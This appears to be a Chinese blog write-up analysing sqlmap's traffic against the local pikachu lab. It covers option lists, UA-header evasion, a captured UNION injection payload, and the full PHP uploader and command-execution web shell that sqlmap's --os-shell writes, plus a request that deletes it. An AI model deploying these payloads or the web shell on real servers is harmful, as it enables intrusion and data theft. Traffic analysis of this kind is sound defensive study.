SQLMAP流量特征分析
测试靶场:pikachu
测试环境:PHP5.4、Apache 2.0、MYSQL5.0.10
测试工具:sqlmap 1.5.6.3
http://127.0.0.1/pikachu/vul/sqli/sqli_id.php
参数实例
-u "http://xx.xx.xx" //从链接获取扫描目标,GET方式
-u "http://www.target.com/vuln.php" --data="id=1" //从链接获取扫描目标,POST方式
-r 1.txt --dump -T oa_f1Agggg -D oa_db -batch //从文件中加载,处理POST数据包和cookie问题
-r 1.txt --current-db
-m urllist.txt//从文本中获取多个目标扫描,但是每一行只能有一个url
--dbs //获取数据库
-D 数据库 --tables //获取表名
-D 数据库 -T 数据库表 --columns //获取列名
-D 数据库 -T 数据库表 -C 数据库表名1,数据库表名2 --dump //获取字段
-p //指定参数
--os //探测系统
--tamper //修改注入的数据
-b,--banner //返回数据库的版本号
-current-user //当前数据库管理用户
--current-db //当前连接的数据库
--is-dba //判断当前的用户是否为管理,是的话会返回True
--users //当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户,列出并破解数据库用户的hash。
--passwords //当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
//设定探测风险等级
--risk
共有四个风险等级,0-4,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" //设置请求头
--random-agent //随机请求头User-Agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
--proxy=http://127.0.0.1:8080 //设置代理
--delay=1 //设置延迟
--batch //代表全自动 不用我们手动输入y/n
//设置回显等级,默认为1
-v 1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
流量分析
UA头隐藏
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080
发现UA头为User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)
所以如果没有伪装UA头的话,攻击流量都会暴露sqlmap的版本
可以通过--user-agent自定义ua头
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
抓包流量分析
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --dbs
sqlmap会先放一个数据包探测
GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
然后进行参数拼接pyload测试
GET /pikachu/vul/sqli/sqli_str.php?name=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x71626a6a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x76636a746365%2Cschema_name%29%29%2C0x7170707171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mb0t9ruh324v0pgj7t31i6gnm2
Connection: close
1' UNION ALL SELECT CONCAT(0x71626a6a71,IFNULL(CAST(schema_name AS NCHAR),0x20),0x7170707171),NULL FROM INFORMATION_SCHEMA.SCHEMATA#
osshell原理
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --os-shell
探测包
GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
如图所示,利用into outfile的方式写入临时的php文件,该临时php文件可文件上传
解密后
<?php
if (isset($_REQUEST["upload"]))
{
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0')
{
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
}
else
{
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
}
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
}
else
{
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}
尝试找到上传的文件的访问路径
通过临时的php文件来上传另外一个可命令执行的php文件(实际上是通过这个方式来防止写入命令马后直接被杀掉)
<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
$z = @ini_get("disable_functions");
if (!empty($z))
{
$z = preg_replace("/[, ]+/", ',', $z);
$z = explode(',', $z);
$z = array_map("trim", $z);
}
else
{
$z = array();
}
$c = $c . " 2>&1\n";
function f($n)
{
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f("system"))
{
ob_start();
system($c);
$w = ob_get_clean();
}
elseif (f("proc_open"))
{
$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
$w = NULL;
while (!feof($t[1]))
{
$w .= fread($t[1], 512);
}
@proc_close($y);
}
elseif (f("shell_exec"))
{
$w = shell_exec($c);
}
elseif (f("passthru"))
{
ob_start();
passthru($c);
$w = ob_get_clean();
}
elseif (f("popen"))
{
$x = popen($c, r);
$w = NULL;
if (is_resource($x))
{
while (!feof($x))
{
$w .= fread($x, 512);
}
}
@pclose($x);
}
elseif (f("exec"))
{
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
}
else
{
$w = 0;
}
echo "<pre>$w</pre>";
?>
然后sqlmap会尝试进行命令执行 echo command execution test
退出–os-shell后删除命令马
GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
Host: www.sqli.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close```
标签:sqlmap,0.1,http,--,sqli,php,222
From: https://www.cnblogs.com/IceSeclude/p/17342924.html